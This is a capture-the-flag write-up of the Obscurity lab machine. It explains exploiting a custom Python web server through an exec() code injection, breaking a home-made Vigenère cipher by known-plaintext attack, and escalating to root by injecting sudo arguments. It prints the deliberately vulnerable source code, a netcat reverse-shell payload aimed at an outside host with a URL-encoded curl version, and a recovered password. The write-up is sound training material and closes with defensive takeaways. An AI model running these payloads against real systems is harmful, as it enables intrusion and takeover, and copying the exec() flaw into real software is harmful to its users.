Hacking Obscurity Machine

Summary
Obscurity is medium difficulty Linux machine that features a custom web server. A code injection vulnerability is exploited to gain an initial foothold as www-data . Weak folder permissions reveal a custom cryptography algorithm, that has been used to encrypt the user's password. A known plaintext attack reveals the encryption key, which is used to decrypt the password. This password is used to move laterally to the user robert , who is allowed to run a faux terminal as root. This can be used to escalate privileges to root via winning a race condition or by overwriting sudo arguments.
Reconnaissance

There are two open ports and two closed ports. SSH
service running on port 22
seems normal and an interesting HTTP
service on port 8080
running a BadHTTPServer
.
Checking out the page of port 8080 will greet us with quoted 3 words.

Scrolling down to the bottom of the page will lead us to some interesting information.

- The domain name for this box is
obscure.htb
and not the typical machine.htb format likeobscurity.htb
. - The file name
SuperSecureServer.py
is hidden in an unknown directory.
I decided to use wfuzz
to brute force the hidden directory using a compiled list of words from the webpage.
security
obscurity
secure
server
secret
development
dev
develop
After running the tool, I quickly found the hidden directory.

Gaining User Access
Navigating to http://obscure.htb:8080/develop/SuperSecureServer.py
gives us the source code for the web server.
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess
respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}
{body}
"""
DOC_ROOT = "DocRoot"
CODES = {"200": "OK",
"304": "NOT MODIFIED",
"400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND",
"500": "INTERNAL SERVER ERROR"}
MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg",
"ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2",
"js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}
class Response:
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
now = datetime.now()
self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
def stringResponse(self):
return respTemplate.format(**self.__dict__)
class Request:
def __init__(self, request):
self.good = True
try:
request = self.parseRequest(request)
self.method = request["method"]
self.doc = request["doc"]
self.vers = request["vers"]
self.header = request["header"]
self.body = request["body"]
except:
self.good = False
def parseRequest(self, request):
req = request.strip("\r").split("\n")
method,doc,vers = req[0].split(" ")
header = req[1:-3]
body = req[-1]
headerDict = {}
for param in header:
pos = param.find(": ")
key, val = param[:pos], param[pos+2:]
headerDict.update({key: val})
return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}
class Server:
def __init__(self, host, port):
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))
def listen(self):
self.sock.listen(5)
while True:
client, address = self.sock.accept()
client.settimeout(60)
threading.Thread(target = self.listenToClient,args = (client,address)).start()
def listenToClient(self, client, address):
size = 1024
while True:
try:
data = client.recv(size)
if data:
# Set the response to echo back the recieved data
req = Request(data.decode())
self.handleRequest(req, client, address)
client.shutdown()
client.close()
else:
raise error('Client disconnected')
except:
client.close()
return False
def handleRequest(self, request, conn, address):
if request.good:
# try:
# print(str(request.method) + " " + str(request.doc), end=' ')
# print("from {0}".format(address[0]))
# except Exception as e:
# print(e)
document = self.serveDoc(request.doc, DOC_ROOT)
statusNum=document["status"]
else:
document = self.serveDoc("/errors/400.html", DOC_ROOT)
statusNum="400"
body = document["body"]
statusCode=CODES[statusNum]
dateSent = ""
server = "BadHTTPServer"
modified = ""
length = len(body)
contentType = document["mime"] # Try and identify MIME type from string
connectionType = "Closed"
resp = Response(
statusNum=statusNum, statusCode=statusCode,
dateSent = dateSent, server = server,
modified = modified, length = length,
contentType = contentType, connectionType = connectionType,
body = body
)
data = resp.stringResponse()
if not data:
return -1
conn.send(data.encode())
return 0
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
cwd = os.path.dirname(os.path.realpath(__file__))
docRoot = os.path.join(cwd, docRoot)
if path == "/":
path = "/index.html"
requested = os.path.join(docRoot, path[1:])
if os.path.isfile(requested):
mime = mimetypes.guess_type(requested)
mime = (mime if mime[0] != None else "text/html")
mime = MIMES[requested.split(".")[-1]]
try:
with open(requested, "r") as f:
data = f.read()
except:
with open(requested, "rb") as f:
data = f.read()
status = "200"
else:
errorPage = os.path.join(docRoot, "errors", "404.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read().format(path)
status = "404"
except Exception as e:
print(e)
errorPage = os.path.join(docRoot, "errors", "500.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read()
status = "500"
return {"body": data, "mime": mime, "status": status}
Reading and analyzing the source code in the serveDoc()
function will lead us to these code lines with comments.
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
The python script uses a dangerous exec()
statement that allows users to input commands directly into the command line. But before that, we need to escape the value of info
variable to execute commands.
The value of info
variable is output = 'Document: {}'
and we can escape it by appending ';
followed by a command and a #
to comment the following characters.
Bypass: output = 'Document: ';<command_here>#
Requesting the following in cURL with the payload below will help us pop a shell.
Payload:
';os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.19 1337 >/tmp/f')#
curl http://obscure.htb:8080/%27%3b%6f%73%2e%73%79%73%74%65%6d%28%27%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%34%2e%31%39%20%31%33%33%37%20%3e%2f%74%6d%70%2f%66%27%29%23

Entering to Robert's home will greet us with many files.

Since I have no permission to read the user.txt
file as www-data
, I have to check each files inside his home.
The check.txt
file contains a message: Encrypting this file with your key should result in out.txt, make sure your key is correct!
The out.txt
file contains encrypted message that seems to be encrypted by the python script: ¦ÚÈêÚÞØÛÝÝ×ÐÊßÞÊÚÉæßÝËÚÛÚêÙÉëéÑÒÝÍÐêÆáÙÞãÒÑÐáÙ¦ÕæØãÊÎÍßÚêÆÝáäèÎÍÚÎëÑÓäáÛÌ×v
The content of passwordreminder.txt
is also encrypted: ÑÈÌÉàÙÁÑ鯷¿k
which might be useful in authenticating as Robert.
So the encrypted content of out.txt
could possibly contain something useful and vital to decrypt the content of passwordreminder.txt
. The objective is clear, to get the key.
The last file to check is the script written in python SuperSecureCrypt.py
which could give us a detailed information on how the creator encrypts the out.txt
and passwordreminder.txt
files.
import sys
import argparse
def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted
def decrypt(text, key):
keylen = len(key)
keyPos = 0
decrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return decrypted
parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')
parser.add_argument('-i',
metavar='InFile',
type=str,
help='The file to read',
required=False)
parser.add_argument('-o',
metavar='OutFile',
type=str,
help='Where to output the encrypted/decrypted file',
required=False)
parser.add_argument('-k',
metavar='Key',
type=str,
help='Key to use',
required=False)
parser.add_argument('-d', action='store_true', help='Decrypt mode')
args = parser.parse_args()
banner = "################################\n"
banner+= "# BEGINNING #\n"
banner+= "# SUPER SECURE ENCRYPTOR #\n"
banner+= "################################\n"
banner += " ############################\n"
banner += " # FILE MODE #\n"
banner += " ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
print("Missing args")
else:
if args.d:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Decrypting...")
decrypted = decrypt(data, args.k)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(decrypted)
else:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Encrypting...")
encrypted = encrypt(data, args.k)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(encrypted)
Reading and analyzing the python script tells us that we can use it to encrypt plaintext and decrypt cipher text. Also, both function seems to be using a substitution cipher called Vigenère cipher.
For the Encryption, the plaintext(P) and key(K) are added modulo 255.Ci = (Pi + Ki) mod 255
For the Decryption, the cipher text(C) are subtracted to key(k) module 255.Pi = (Ci - Ki) mod 255
If we go back to the given script and check the decrypt function, we see that it operates by subtracting the key from the cipher text to return the plaintext.
Using the same script, we can do the following formula: Ki = (Ci - Pi) mod 255
.
We can use the plaintext(P) as the key(k) and subtract it to the cipher text(c) to get the key(k).
So the command to get the key would be:
python3 SuperSecureCrypt.py -d -i out.txt -k "Encrypting this file with your key should result in out.txt, make sure your key is correct!" -o /tmp/key.txt

Result is alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovich
As I've mentioned, the encryption process is a simple substitution cipher only using the Vigenère cipher and the key used to encrypt the content of out.txt
file is: alexandrovich
.
Now, we can use it to decrypt the content of passwordreminder.txt
.

Password is SecThruObsFTW
and we can now use it to authenticate as Robert.

Rooting the Machine
Going back to robert's directory, we noticed that there's a folder called BetterSSH
, and running the sudo -l
command tells us that we can run BetterSSH.py
as root.

Accessing the BetterSSH.py
will give us the following source code.
import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess
path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
session['user'] = input("Enter username: ")
passW = input("Enter password: ")
with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)
passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)
time.sleep(.1)
salt = ""
realPass = ""
for p in passwords:
if p[0] == session['user']:
salt, realPass = p[1].split('$')[2:]
break
if salt == "":
print("Invalid user")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
salt = '$6$'+salt+'$'
realPass = salt + realPass
hash = crypt.crypt(passW, salt)
if hash == realPass:
print("Authed!")
session['authenticated'] = 1
else:
print("Incorrect pass")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
traceback.print_exc()
sys.exit(0)
if session['authenticated'] == 1:
while True:
command = input(session['user'] + "@Obscure$ ")
cmd = ['sudo', '-u', session['user']]
cmd.extend(command.split(" "))
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
o,e = proc.communicate()
print('Output: ' + o.decode('ascii'))
print('Error: ' + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')
The python script allows us to authenticate and interact with /etc/shadow
file. If the credential provided is existed, it will just authenticate and permit us to run commands with sudo, but if not, it will create a user in a temporary file.
So the first thing I did is to create a bash file that will add robert
as sudoer
.
echo "usermod -aG sudo robert" > make_robert_as_sudoer.sh
Then I simply run sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
and entered robert's credential.
As I said, once authenticated, we can easily run command in sudo.
if session['authenticated'] == 1:
while True:
command = input(session['user'] + "@Obscure$ ")
cmd = ['sudo', '-u', session['user']]
cmd.extend(command.split(" "))
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
o,e = proc.communicate()
print('Output: ' + o.decode('ascii'))
print('Error: ' + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')
Fortunately, there's a vulnerability in the code that allows us to pollute the -u
option/argument of the sudo
command.
Normally, if you run whoami
it will be executed as sudo -u robert whoami
and the output would be robert
.
But if we run -u root whoami
it will be executed as a sudo -u robert -u root whoami
and the output would be root
.
Running the command -u root /bin/bash make_robert_as_sudoer.sh
will add Robert as sudoer.
Since I'm done running the python script and making robert as sudoer, just re-authenticate as Robert then run sudo -i
, enter the password and you're root.

Takeaways
- Review and configure the permission of the file to restrict external users from accessing it especially if it's for dev environment.
- If possible, avoid using eval and exec in your source code to prevent command injection.
- Conduct source code review to spot vulnerabilities in the code.
- Review your sudo configuration.
Resources
- https://github.com/xmendez/wfuzz (wfuzz)
- https://docs.python.org/2.0/ref/exec.html (Exec Statement)
- https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher (Vigenère cipher)